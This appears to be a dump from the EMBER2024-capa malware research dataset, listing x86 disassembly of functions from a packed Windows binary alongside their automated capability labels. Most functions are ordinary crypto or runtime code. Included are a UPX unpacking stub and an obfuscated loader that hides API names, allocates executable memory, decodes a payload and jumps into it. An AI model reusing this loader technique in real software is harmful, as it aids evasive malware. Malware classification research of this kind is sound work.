joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43de1b
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x24]
mov dword [esp + 4], edx
mov dword [esp], ecx
cmp edx, esi
mov eax, esi
cmovb eax, edx
test eax, eax
je 0x43de7e
mov dword [esp + 8], eax
xor eax, eax
xor ebp, ebp
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + ebp*4]
mov ecx, dword [esp]
mov ecx, dword [ecx + ebp*4]
mov ebx, ecx
mov edx, ecx
sub ebx, edi
xor edx, edi
xor ebx, ecx
mov edi, edx
or ebx, edx
xor edi, 0x80000000
dec edx
xor ebx, ecx
sar ebx, 0x1f
mov ecx, ebx
not ecx
and ecx, 1
or ecx, ebx
test edx, edi
cmovns eax, ecx
inc ebp
cmp ebp, dword [esp + 8]
jb 0x43de40
jmp 0x43de80
xor eax, eax
mov ecx, dword [esp + 4]
mov edi, dword [esp + 0x20]
mov edx, dword [esp]
mov ebx, ecx
sub ebx, esi
jae 0x43deb0
sub esi, ecx
lea edx, [edi + ecx*4]
xor ecx, ecx
or ecx, dword [edx]
add edx, 4
dec esi
jne 0x43de98
mov edx, ecx
dec ecx
not edx
and ecx, edx
sar ecx, 0x1f
not ecx
or eax, ecx
jmp 0x43ded8
cmp esi, ecx
jae 0x43ded8
lea edx, [edx + esi*4]
xor ecx, ecx
or ecx, dword [edx]
add edx, 4
dec ebx
jne 0x43deb9
mov edx, ecx
dec ecx
not edx
and ecx, edx
sar ecx, 0x1f
mov edx, ecx
and ecx, eax
not edx
and edx, 1
or edx, ecx
mov eax, edx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43dfca
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
xor edx, edx
mov eax, dword [eax + 4]
mov esi, dword [ecx + 4]
mov ebx, eax
sub ebx, esi
jge 0x43dff3
mov ebp, dword [ecx]
xor edx, edx
mov edi, eax
or edx, dword [ebp + edi*4]
inc edi
cmp edi, esi
jl 0x43dfea
cmp esi, eax
jge 0x43e00d
mov edi, dword [esp + 0x14]
lea ebp, [esi*4]
add ebp, dword [edi]
or edx, dword [ebp]
add ebp, 4
dec ebx
jne 0x43e004
cmp eax, esi
cmovle esi, eax
test esi, esi
jle 0x43e02d
mov eax, dword [esp + 0x14]
mov ebx, dword [ecx]
xor ebp, ebp
mov edi, dword [eax]
mov eax, dword [ebx + ebp*4]
xor eax, dword [edi + ebp*4]
inc ebp
or edx, eax
cmp ebp, esi
jl 0x43e020
mov ecx, dword [ecx + 0xc]
mov eax, dword [esp + 0x14]
xor ecx, dword [eax + 0xc]
xor eax, eax
or ecx, edx
sete al
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x441cc6
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ecx, dword [esp + 0x24]
xor edx, edx
mov eax, dword [ecx]
cmp dword [ecx + 4], 2
mov ecx, 0
mov esi, dword [eax]
jl 0x441ce5
mov ecx, dword [eax + 4]
xor eax, eax
xor ebp, ebp
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x40
mov dword [esp], 0
inc eax
mov ebx, eax
and ebx, 1
mov edi, dword [esp + 8]
mov esi, 0
neg ebx
sbb esi, 0
and ebx, dword [esp + 4]
and edi, esi
mov ecx, edi
and edi, ebp
xor ecx, ebp
mov ebp, ebx
and ebx, eax
xor ebp, eax
shrd ebp, ecx, 1
shr ecx, 1
add ebx, ebp
adc edi, ecx
shrd dword [esp], edx, 1
and esi, 0x80000000
shr edx, 1
mov eax, ebx
or edx, esi
dec dword [esp + 0xc]
mov ebp, edi
jne 0x441d03
mov eax, dword [esp]
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x442ffd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x190
mov eax, dword [0x4f002c]
xor eax, ebp
cmp dword [ebp + 0xc], 0
mov dword [esp + 0x188], eax
je 0x4431c2
call fcn.0046e9ac
test eax, eax
je 0x443042
xorps xmm0, xmm0
movaps xmmword [esp + 0x170], xmm0
movaps xmmword [esp + 0x160], xmm0
jmp 0x443054
lea eax, [esp + 0x160]
push 0x20
push eax
call fcn.0046e9cc
add esp, 8
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, 0xffffffe0
movups xmm0, xmmword [eax + ecx + 0x20]
movups xmm1, xmmword [esp + ecx + 0x180]
xorps xmm1, xmm0
movups xmmword [esp + ecx + 0x180], xmm1
add ecx, 0x10
jne 0x44305f
push 0x4f4d28
call fcn.0046d7ab
add esp, 4
mov esi, dword [0x4f4d2c]
test esi, esi
je 0x4430ad
mov eax, dword [esi + 0x118]
mov dword [0x4f4d2c], eax
push 0x4f4d28
call fcn.0046d7c7
add esp, 4
jmp 0x4430dc
push 0x4f4d28
call fcn.0046d7c7
add esp, 4
push 0x120
call fcn.00450f29
add esp, 4
test eax, eax
je 0x4430d1
mov esi, eax
mov ecx, eax
jmp 0x4430d7
lea esi, [esp + 0x40]
mov ecx, esi
call fcn.00448d67
cmp dword [esi + 0x11c], 0x1000
mov edx, dword [ebp + 0xc]
mov ecx, esi
jb 0x443136
mov ebx, 0x30
lea eax, [esp + 0x10]
push ebx
push eax
mov esi, ecx
call fcn.0046e9cc
add esp, 8
mov ecx, esi
lea edx, [esp + 0x10]
push ebx
call fcn.00448a96
add esp, 4
test eax, eax
je 0x4431d8
mov edx, dword [ebp + 0xc]
xor eax, eax
mov ecx, esi
mov dword [esi + 0x110], 1
mov dword [esi + 0x114], eax
mov dword [esi + 0x11c], eax
mov eax, 0x20
mov dword [esp + 0xc], ecx
mov esi, 0x10000
cmp edx, esi
mov esi, 0x10000
cmovb esi, edx
push eax
lea eax, [esp + 0x164]
push eax
push esi
push edi
push ecx
mov ebx, edi
mov edi, edx
call fcn.00448b5d
add esp, 0x14
test eax, eax
je 0x4431d8
mov ecx, dword [esp + 0xc]
add ebx, esi
xor eax, eax
inc dword [ecx + 0x11c]
sub edi, esi
mov edx, edi
mov edi, ebx
jne 0x44313f
lea eax, [esp + 0x40]
cmp ecx, eax
je 0x4431b4
mov esi, 0x4f4d28
push esi
mov edi, ecx
call fcn.0046d7ab
add esp, 4
mov eax, dword [0x4f4d2c]
mov dword [edi + 0x118], eax
mov dword [0x4f4d2c], edi
push esi
call fcn.0046d7c7
add esp, 4
jmp 0x4431c2
push 0x118
push eax
call fcn.00450f83
add esp, 8
mov ecx, dword [esp + 0x188]
xor ecx, ebp
call fcn.0048bd44
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.004b6de2
Function at 0x4489d1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [0x4f002c]
mov edi, dword [ebp + 0x14]
xor esi, esi
xor eax, ebp
cmp edi, 0x30
mov dword [ebp - 0x10], eax
ja 0x448a82
lea esi, [ebp - 0x40]
push 0x30
push dword [ebp + 0xc]
push esi
call fcn.004a8990
add esp, 0xc
test edi, edi
je 0x448a18
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov dl, byte [eax + ecx]
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp edi, ecx
jne 0x448a0c
mov edi, dword [ebp + 8]
mov eax, 0xffffffd0
movups xmm0, xmmword [eax + 0x4d34e5]
movups xmm1, xmmword [ebp + eax - 0x10]
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0x10], xmm1
add eax, 0x10
jne 0x448a20
lea eax, [edi + 0xf4]
xor ebx, ebx
push 0x20
push esi
push eax
push ebx
push edi
call fcn.00443a49
add esp, 0x14
mov dword [edi + 0xf8], eax
xor esi, esi
movsd xmm0, qword [ebp - 0x20]
movsd xmm1, qword [ebp - 0x18]
inc esi
movsd qword [edi + 0x104], xmm1
movsd qword [edi + 0xfc], xmm0
mov dword [edi + 0x114], ebx
mov dword [edi + 0x110], 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048bd44
mov eax, esi
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x448a96
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [0x4f002c]
xor ebx, ebx
xor eax, ebp
cmp dword [ebp + 8], 0x30
mov dword [ebp - 0x10], eax
ja 0x448b49
lea eax, [ecx + 0xf4]
mov esi, ecx
lea ebx, [ecx + 0xfc]
xor edi, edi
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], eax
push dword [esi + 0x108]
call fcn.004b19aa
add esp, 4
inc eax
push eax
call fcn.004b19aa
add esp, 4
mov dword [esi + 0x108], eax
lea eax, [ebp + edi - 0x40]
push esi
push eax
push ebx
call dword [esi + 0xf4]
add esp, 0xc
add edi, 0x10
cmp edi, 0x30
jb 0x448acb
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
test edi, edi
je 0x448b19
xor eax, eax
mov cl, byte [edx + eax]
xor byte [ebp + eax - 0x40], cl
inc eax
cmp edi, eax
jne 0x448b0d
lea edi, [ebp - 0x40]
push 0x20
push edi
push dword [ebp - 0x44]
push 0
push esi
call fcn.00443a49
add esp, 0x14
mov dword [esi + 0xf8], eax
movsd xmm0, qword [edi + 0x20]
movsd xmm1, qword [edi + 0x28]
movsd qword [ebx + 8], xmm1
movsd qword [ebx], xmm0
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048bd44
mov eax, ebx
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x451003
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x45102c
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
xor edi, edi
xor eax, eax
mov bl, byte [edx + edi]
xor bl, byte [esi + edi]
inc edi
movzx ebx, bl
or eax, ebx
cmp ecx, edi
jne 0x45101a
jmp 0x45102e
xor eax, eax
pop esi
pop edi
pop ebx
ret
Function at 0x45f980
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx + 0x10]
cmp dword [ebx + 0x14], 0xf
jbe 0x45f997
mov ebx, dword [ebx]
test eax, eax
mov dword [ebp - 0x10], eax
je 0x45f9c1
mov esi, eax
mov eax, 0x811c9dc5
mov edx, ebx
nop word [eax + eax]
movzx edi, byte [edx]
inc edx
xor edi, eax
imul eax, edi, 0x1000193
dec esi
jne 0x45f9b0
jmp 0x45f9c6
mov eax, 0x811c9dc5
and eax, dword [ecx + 0x18]
mov edi, dword [ecx + 4]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + eax*8]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x10]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], edi
jne 0x45f9f7
jmp 0x45fa20
mov esi, dword [esi]
cmp dword [ebp - 0x1c], edi
je 0x45fa20
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
cmp eax, esi
je 0x45faba
cmp dword [esi + 0x18], ecx
jne 0x45f9f0
cmp dword [esi + 0x1c], 0xf
jbe 0x45fa30
mov eax, dword [esi + 8]
jmp 0x45fa33
mov eax, edi
cmp eax, esi
jne 0x45fa0a
jmp 0x45faba
lea eax, [esi + 8]
push ecx
push ebx
push eax
call fcn.004a79dd
mov ecx, dword [ebp - 0x10]
add esp, 0xc
test eax, eax
jne 0x45f9f0
mov dword [ebp - 0x20], ebx
mov ebx, esi
cmp dword [ebp - 0x1c], edi
jne 0x45fa67
jmp 0x45fab0
mov ebx, dword [ebx]
cmp dword [ebp - 0x1c], edi
je 0x45fab0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
cmp eax, ebx
je 0x45fab6
cmp ecx, dword [ebx + 0x18]
jne 0x45fab6
cmp dword [ebx + 0x1c], 0xf
jbe 0x45fa90
mov eax, dword [ebx + 8]
jmp 0x45fa93
lea eax, [ebx + 8]
push ecx
push eax
push dword [ebp - 0x20]
call fcn.004a79dd
mov ecx, dword [ebp - 0x10]
add esp, 0xc
test eax, eax
je 0x45fa60
jmp 0x45fab6
mov eax, edi
cmp eax, ebx
jne 0x45fa76
cmp esi, ebx
jne 0x45fabe
mov esi, edi
mov ebx, edi
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov dword [eax + 4], ebx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x463bb0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [ecx]
mov edx, dword [ecx + 4]
sub edx, ebp
je 0x463c26
sar edx, 2
xor esi, esi
mov ebx, edx
nop word cs:[eax + eax]
nop
mov edi, dword [ebp + esi*4]
inc esi
mov eax, edi
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
mov eax, edi
shr eax, 8
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
mov eax, edi
shr edi, 0x18
shr eax, 0x10
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
movzx eax, bl
shr ebx, 8
xor edi, eax
xor ebx, dword [edi*4 + 0x4d8f14]
cmp esi, edx
jb 0x463bd0
jmp 0x463c28
xor ebx, ebx
cmp ebx, dword [ecx + 0xc]
sete al
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x463c40
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, dword [ecx]
mov edx, dword [ecx + 4]
sub edx, ebp
je 0x463cb6
sar edx, 2
xor esi, esi
mov ebx, edx
nop word cs:[eax + eax]
nop
mov edi, dword [ebp + esi*4]
inc esi
mov eax, edi
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
mov eax, edi
shr eax, 8
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
mov eax, edi
shr edi, 0x18
shr eax, 0x10
xor eax, ebx
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0x4d8f14]
movzx eax, bl
shr ebx, 8
xor edi, eax
xor ebx, dword [edi*4 + 0x4d8f14]
cmp esi, edx
jb 0x463c60
jmp 0x463cb8
xor ebx, ebx
mov dword [ecx + 0xc], ebx
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x46d7e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 8
cmp dword [ebp + 0xc], 3
jne 0x46d867
push 0x46d8b0
push 0x4f4f70
call fcn.0046d738
add esp, 8
cmp dword [0x4f4f74], 0
jne 0x46d867
push dword [0x4f4f78]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46d867
mov esi, eax
mov edi, 0x4f4f7c
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4f4f98]
mov ecx, dword [0x4f4f9c]
mov dword [esp + 4], ecx
mov dword [esp], eax
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 0xfffffff8
mov eax, dword [esp + edi + 8]
test eax, eax
je 0x46d859
push dword [esi + edi + 8]
call eax
add esp, 4
add edi, 4
jne 0x46d848
push esi
call fcn.00450f4c
add esp, 4
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x46d90f
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov ebx, dword [ebp + 0xc]
push 0x46d8b0
push 0x4f4f70
call fcn.0046d738
add esp, 8
cmp dword [0x4f4f74], 0
je 0x46d93e
push ebx
call dword [ebp + 0x10]
add esp, 4
xor edi, edi
jmp 0x46d972
call fcn.0046d8e7
mov esi, eax
test eax, eax
je 0x46d979
mov edi, dword [ebp + 8]
mov ebx, 0x4f4f7c
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 0x10]
mov dword [edi*4 + 0x4f4f98], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp + 0xc]
mov dword [esi + edi*4], eax
xor edi, edi
inc edi
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
push 8
call fcn.00450f29
add esp, 4
test eax, eax
je 0x46d933
xor edi, edi
mov esi, eax
mov dword [eax + 4], edi
mov dword [eax], edi
push eax
push dword [0x4f4f78]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x46d949
push esi
call fcn.00450f4c
add esp, 4
push ebx
call dword [ebp + 0x10]
add esp, 4
jmp 0x46d972
Function at 0x47ea40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x4f002c]
xor eax, ebp
mov dword [esp + 0x20], eax
mov edi, dword [ecx + 0x30]
test edi, edi
jne 0x47eb09
mov esi, ecx
mov dword [esp + 0x1c], 0xf
mov dword [esp + 0x18], 9
mov dword [esp + 0xc], 0x65647261
mov dword [esp + 8], 0x63736964
mov word [esp + 0x10], 0x64
push 0x48
call fcn.0048bcac
add esp, 4
mov ebx, eax
lea eax, [esp + 8]
mov edi, esp
mov ecx, esi
push eax
push edi
call fcn.0047e950
mov ecx, ebx
push edi
push dword [esi + 0x20]
lea eax, [esp + 0x10]
push eax
call fcn.0047f0a0
mov edi, dword [esi + 0x30]
mov dword [esi + 0x30], ebx
test edi, edi
je 0x47ead0
mov ecx, edi
call fcn.0047f190
push edi
call fcn.0048bd2c
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, 0x10
jb 0x47eb06
mov ecx, dword [esp + 8]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x47eafc
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x47eb1e
add eax, 0x24
mov ecx, edx
mov edi, eax
push edi
push ecx
call fcn.0048bd31
add esp, 8
mov edi, dword [esi + 0x30]
mov ecx, dword [esp + 0x20]
xor ecx, ebp
call fcn.0048bd44
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.004b5789
int3
Function at 0x485502
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe4
mov eax, dword [0x4f002c]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
lea edi, [ebp - 0x50]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push 0x20
push esi
call fcn.004441e3
add esp, 0xc
and byte [edi], 0xf8
mov al, byte [edi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [edi + 0x1f], al
lea eax, [ebp - 0xf0]
push 0x4dd158
push edi
push eax
call fcn.004836de
add esp, 0xc
mov edi, dword [ebp + 8]
lea edx, [ebp - 0xf0]
mov ecx, edi
call fcn.00488cdf
movsd xmm0, qword [esi + 0x18]
movsd qword [ebx + 0x18], xmm0
movsd xmm0, qword [esi + 0x10]
movsd qword [ebx + 0x10], xmm0
movsd xmm0, qword [esi]
movsd xmm1, qword [esi + 8]
movsd qword [ebx + 8], xmm1
movsd qword [ebx], xmm0
movsd xmm0, qword [edi]
movsd xmm1, qword [edi + 8]
movsd qword [ebx + 0x20], xmm0
movsd qword [ebx + 0x28], xmm1
movsd xmm0, qword [edi + 0x10]
movsd qword [ebx + 0x30], xmm0
movsd xmm0, qword [edi + 0x18]
movsd qword [ebx + 0x38], xmm0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048bd44
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x491b91
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4c599a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004c59a5
Function at 0x4d75f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7a000]
push edi
or ebp, 0xffffffff
jmp 0x4d7612
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d7619
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d7608
mov eax, 1
add ebx, ebx
jne 0x4d762b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d7620
jne 0x4d763c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d7620
xor ecx, ecx
sub eax, 3
jb 0x4d7650
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d76c2
mov ebp, eax
add ebx, ebx
jne 0x4d765b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4d7668
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4d768c
inc ecx
add ebx, ebx
jne 0x4d7678
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d766d
jne 0x4d7689
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d766d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d76ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d769d
jmp 0x4d760e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d76ac
add edi, ecx
jmp 0x4d760e
pop esi
mov edi, esi
mov ecx, 0x34dc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d76ca
cmp byte [edi], 0x13
jne 0x4d76ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d76cf
lea edi, [esi + 0xd4000]
mov eax, dword [edi]
or eax, eax
je 0x4d7747
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdc820]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdc938]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d76fc
mov ecx, edi
jns 0x4d772b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdc93c]
or eax, eax
je 0x4d7741
mov dword [ebx], eax
add ebx, 4
jmp 0x4d7719
call dword [esi + 0xdc944]
mov ebp, dword [esi + 0xdc940]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d777b
sub esp, 0xffffff80
jmp 0x464b58
Function at 0x10053619
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10053628
pop dword [ebp - 0x3c]
mov eax, 0xafffe625
add eax, 0x60055003
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x22f1864c
sub dword [ebp - 0x4c], 0xd49f4101
mov dword [ebp - 0x48], 0x46c0c671
sub dword [ebp - 0x48], 0x148d7a2c
mov dword [ebp - 0x44], 0x9696d468
sub dword [ebp - 0x44], 0x4a4a903a
mov dword [ebp - 0x40], 0x7ab53abe
sub dword [ebp - 0x40], 0x7ab53abe
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xacd99a70
add dword [ebp - 0x4c], 0xc798cee6
mov dword [ebp - 0x48], 0x298ac071
add dword [ebp - 0x48], 0x17e1a104
mov dword [ebp - 0x44], 0xacbe70ac
sub dword [ebp - 0x44], 0x494f0440
mov dword [ebp - 0x40], 0x6212e953
sub dword [ebp - 0x40], 0x6212e953
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x62956
push 0
call eax
mov ecx, 0x5c3a
xor edx, edx
add edx, eax
mov ebx, 0x10069400
add ebx, dword [ebp - 0x3c]
mov edi, 0x21bc81c6
sub dword [ebp - 0x10], edi
mov esi, dword [ebx]
sub dword [ebp - 8], edx
add esi, edi
mov dword [ebp - 0x18], 0xf3c68941
mov dword [edx], esi
xor dword [ebp - 0xc], 0x66ffa855
add edx, 0x527cecde
add edx, 0xad831326
add ebx, 0xa3ae6a13
sub ebx, 0xa3ae6a0f
loop 0x10053730
add eax, 0x163bb
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x48c880
Capabilities:
Check for vm using instruction vpcext

Disassembly:
xor al, 0xa0
into
daa
push 0xffffffffffffffdb
adc byte [0xde536d2a], bl
sub ch, byte [ebp + 0x53]
fimul word [ecx]
test dl, dl
stosb byte es:[edi], al
push edx
popal
ror dh, 0x95

Function at 0x4a3d50
Capabilities:
Packed with generic packer

Disassembly:
inc ebx
inc edx
mov esi, 0xf1b60c4e
popfd
adc al, 0xc1
not byte [ebp - 0x79ce0acd]
fild qword [edx]
inc esp
pop esi
in al, dx
pop ss
bound esi, qword [ecx + 0x633aa02]
sub edi, esi
and al, 0xe5
idiv byte [ebp - 3]
test byte [edx + 0x24571e56], 0xae
and al, 7
mov byte [0x859d914d], al
jne 0x4a3d8f
mov ecx, 0x404705c9
push 0xe4a0fd2b
push esp
popal
sub ch, dh
sbb dl, byte [eax + ebx*8]
cdq
fisubr dword [esi + 0x7a]
jecxz fcn.004a3d48
popfd
pushal
mov bh, 0x69
jae 0x4a3dc5
jae 0x4a3dc5
adc al, 0xd7
xlatb
mov al, 0xa3
sahf
das
push edx
adc edx, dword [edi + eax - 0x2f]
je 0x4a3d38
inc ecx
pop esp
xchg esi, eax
aam 0x18
fsubr st(2)
jae 0x4a3d30
nop
xchg ebx, eax
call 0xc875be6b
mov esi, 0x6c8983fe
adc byte [edi], al
ret
ja 0x4a3de3
dec ebp
push eax
inc ebp
dec ecx
and dword [ecx + 0x70], ecx
pop ds
add al, byte [esi]
enter 0x1bd0, 0xffffffffffffffdd
movsb byte es:[edi], byte [esi]
inc esi
xor bh, al
pop ebx
adc al, 0xb7
mov esp, 0xf08389e9
outsb dx, byte [esi]
inc ecx
dec esp
push edi
loopne 0x4a3e4e
mov al, 0x66
fldenv [ebp + 0x2f]
jnp 0x4a3e47
or eax, 0x23100250
pop es
inc ebx
das
mov cl, 0xa
invalid
aam 0x21
jmp 0x8d564c72
mov eax, dword [0x2c8f3ca0]
sbb byte [edx], 0xa
jecxz 0x4a3ec1
dec ecx
mov ah, bl
int3
mov ebp, esp
push edi
jmp 0x54ce0a
Function at 0x4bc605
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c4438
cmp edx, dword [eax]
je 0x4bc627
add eax, 8
inc ecx
cmp eax, 0x4c44c8
jl 0x4bc618
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c4438]
jne 0x4bc755
mov eax, dword [0x4c8e14]
cmp eax, 1
je 0x4bc72f
test eax, eax
jne 0x4bc658
cmp dword [0x4c4360], 1
je 0x4bc72f
cmp edx, 0xfc
je 0x4bc755
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bc68f
lea eax, [ebp - 0x1a4]
push 0x4c19e0
push eax
call fcn.004bcff0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bd480
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bc6d2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bd480
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c19dc
push edi
call fcn.004bf350
add esp, 0x10
